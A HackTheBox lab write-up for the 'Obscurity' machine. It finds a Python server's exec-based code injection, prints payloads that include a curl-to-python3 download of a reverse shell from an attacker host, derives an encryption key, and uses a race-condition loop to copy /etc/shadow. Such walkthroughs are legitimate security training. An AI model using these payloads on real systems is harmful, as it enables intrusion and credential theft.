HackTheBox - Obscurity

Nmap scan results

Poking around on the webpage
Surfing the webserver running at port 8080. The website says that they are using their custom made HTTP Server.

An interesting note kept for the developers on the main page.

Fuzzing with FFUF
We can search for SuperSecureServer.py
file on the website using the ffuf
command.
ffuf -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt -u http://obscure.htb:8080/FUZZ/SuperSecureServer.py -c


Let's download the file using wget and analyze it for vulnerabilities.
Python's exec RCE (String format vulnerability)
# Vulnerable Code
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
.
.
.
.
The path
is controllable by us and is not getting sanitized anywhere, that means we can inject malicious payload over here.
';__import__('os').system('ping -c 3 10.10.14.4');' # Ping connection
';__import__('os').system('curl http://10.10.14.4:8000/shell.py|python3');' # Reverse shell
# Make sure to URL Encode it


It is working. Now let's get a reverse shell.

Privilege Escalation (robert)
So the SuperSecureCrypt.py
encrypts the file with a unique key and also requires that same key to decrypt. There is a file named passwordreminder.txt
which is encrypted with some key. Also there are two files check.txt
and out.txt.
# Contents of check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
We have plaintext file and the encrypted file, let's see if we can get the key that was used to encrypt it. I have written a small script to crack it.
#!/usr/bin/env python
file1 = open('check.txt','r',encoding='UTF-8')
plain = file1.read()
file2 = open('out.txt','r',encoding='UTF-8')
enc = file2.read()
keys = []
for i in range(len(plain)):
plainChr = ord(plain[i])
encChr = ord(enc[i])
key = chr(encChr - plainChr)
keys.append(key)
print("".join(keys[:13]))
# Output
# python3 key_extract.py
# alexandrovich


Privilege Escalation (root)

If you will check the source code for this BetterSSH.py file, you will find a vulnerable part.
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
So after entering valid username and password (which we already have), the script opens /etc/shadow file and stores it in /tmp/SSH/<random-name>
So we can get that file by running a race condition
script in the background.
#!/bin/bash
for i in `seq 1 90000`;do
cp -r /tmp/SSH/ .
done
# Start the script before running the sudo command


Crack the hash for root user
using john.


Last updated
Was this helpful?